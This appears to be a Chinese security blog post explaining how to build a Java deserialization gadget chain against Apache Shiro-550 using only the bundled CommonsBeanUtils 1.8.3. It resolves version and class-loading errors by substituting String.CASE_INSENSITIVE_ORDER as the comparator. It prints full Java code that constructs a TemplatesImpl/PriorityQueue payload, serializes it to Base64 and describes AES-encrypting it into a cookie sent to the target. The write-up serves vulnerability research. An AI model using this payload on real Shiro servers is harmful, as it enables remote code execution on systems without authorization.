在Shiro中使用无CommonsCollections依赖的CommonsBeanUtils利用链
之前在Shiro反序列化中为了演示全部都手动添加了CommonsCollections的依赖,其实Shiro中自带的依赖就可以构造一条完整的利用链。
# 问题出现
Shiro中自带了CommonsBeanUtils的依赖,其版本为1.8.3:

如果直接用上一篇文章中所介绍的利用链生成Remember Cookie直接打是不会成功的,而是会出现serialVersionUID的异常:

举例来说,同一个类的不同版本可能会存在成员变量和方法上的改变,而进行反序列化的时候就可能出现兼容性的问题。所以,Java反序列化的时候提供了一个检测serialVersionUID的机制,如果两个UID不同,则会中断反序列化的过程,手动控制兼容性。这个UID可以是序列化的时候根据某种规则计算出来的,也可以是开发者手工赋值的。
因为上一篇文章中的CommonsBeanUtils的版本为1.9.3,而Shiro中的版本为1.8.3,所以才会出现UID不一致的情况。解决这个问题的方法也很简单,就是把我们本地的版本也改为1.8.3即可。
再使用1.8.3版本生成的payload,会出现另外一个问题:

BeanComparator这个类本身依赖于commons.collections包下的一个类:

在反序列化的时候进行resolveClass(把字节流中对应的字节还原成相应的java.lang.Class对象)的时候,由于Shiro中没有对应的依赖,所以会出现上面的异常。
# 无CommonsCollections利用链
在BeanComparator的构造方法中,如果不传递comparator参数,则会默认为org.apache.commons.collections.comparators.ComparableComparator的实例:

所以才会在resolveClass的时候出现异常,所以我们可以尝试在BeanComparator的构造方法中传递一个comparator,让其不为默认的ComparableComparator。
那么根据反序列化的原则,这个comparator要满足下面的条件:
- 实现了
Serializable接口
再根据Shiro中的问题,它还要满足:
- 实现了
Comparator接口 - Java、Shiro或者
commons-beanutils自带 - 兼容性强
而我们要找的目标就是CaseInsensitiveComparator这个类,它位于java.lang包下,是java.lang.String中的一个内部私有类,而且实现了上述的两个接口,且有极强的兼容性:

通过String.CASE_INSENSITIVE_ORDER可以获取到上下文中的CaseInsensitiveComparator实例,然后用它实例化BeanComparator对象,这样就可以在反序列中不依赖于org.apache.commons.collections.comparators.ComparableComparator类。
生成payload,完整代码可见JavaDesPOC/CommonsBeanUtilsBak.java at master · F4ded/JavaDesPOC (github.com) (opens new window):
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import java.util.PriorityQueue;
/**
* 无 CommonsCollections 依赖的 CommonsBeanUtils 利用链
* Shiro-550 反序列化中可用
*/
public class CommonsBeanUtilsBak {
public static void main(String[] args) throws Exception {
byte[] bytes = MyUtils.getSimpleByteCodes();
TemplatesImpl templates = new TemplatesImpl();
MyUtils.setFieldValue(templates, "_name", "F4DE");
MyUtils.setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
MyUtils.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// Version:1.8.3
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(2, comparator);
// Add String element : ClassCastException[java.lang.Integer cannot be cast to java.lang.String]
priorityQueue.add("1");
priorityQueue.add("2");
MyUtils.setFieldValue(comparator, "property", "outputProperties");
MyUtils.setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});
// MyUtils.deserialize(MyUtils.serialize(priorityQueue));
System.out.println(Base64.encodeToString(MyUtils.serialize(priorityQueue)));
}
}
然后进行AES加密,生成Cookie,发送给Shiro:

- 01
- CommonsBeanUtils04-19
- 02
- 基于Tomcat全局存储进行回显04-16